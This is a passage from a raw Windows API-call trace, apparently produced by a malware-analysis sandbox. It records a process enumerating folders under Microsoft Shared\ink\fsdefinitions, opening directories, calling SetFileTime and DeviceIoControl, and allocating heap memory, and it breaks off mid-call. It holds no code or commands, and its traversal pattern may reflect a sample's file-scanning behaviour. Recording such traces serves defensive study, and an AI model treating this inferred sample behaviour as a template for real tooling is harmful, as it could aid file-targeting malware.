lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.286] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.287] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0143.287] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.287] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.287] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.288] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.288] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.288] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.288] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.288] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e850 [0143.288] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9929a0 [0143.288] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0143.288] GetLastError () returned 0x12 [0143.288] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.288] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0143.288] GetLastError () returned 0x12 [0143.288] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.288] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.288] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.288] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0143.288] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0143.288] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.291] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.291] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x992ee8 [0143.291] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x992ee8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x992ee8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.291] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x992ee8) returned 1 [0143.291] NtClose (Handle=0x19c) returned 0x0 [0143.291] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.291] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.291] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.291] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.291] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.291] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.291] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.291] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.292] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0143.292] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.292] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.292] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.292] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.292] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.292] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.292] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.293] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e870 [0143.293] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x992f00 [0143.293] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0143.293] GetLastError () returned 0x12 [0143.293] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.293] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0143.293] GetLastError () returned 0x12 [0143.293] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.293] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.293] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.293] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0143.293] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0143.293] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.293] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.295] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.295] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x994ee8 [0143.295] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x994ee8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x994ee8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.295] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x994ee8) returned 1 [0143.295] NtClose (Handle=0x1a4) returned 0x0 [0143.295] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.295] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.295] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.295] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.295] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.295] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.295] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.295] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.296] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.296] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.296] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.296] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e890 [0143.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993008 [0143.296] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.296] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0143.296] GetLastError () returned 0x12 [0143.297] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.297] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0143.297] GetLastError () returned 0x12 [0143.297] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.297] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.297] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.297] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0143.297] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.299] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.299] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x994ee8 [0143.299] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x994ee8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x994ee8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.299] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x994ee8) returned 1 [0143.299] NtClose (Handle=0x19c) returned 0x0 [0143.299] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.299] RtlAllocateHeap (HeapHandle=0xa90000, 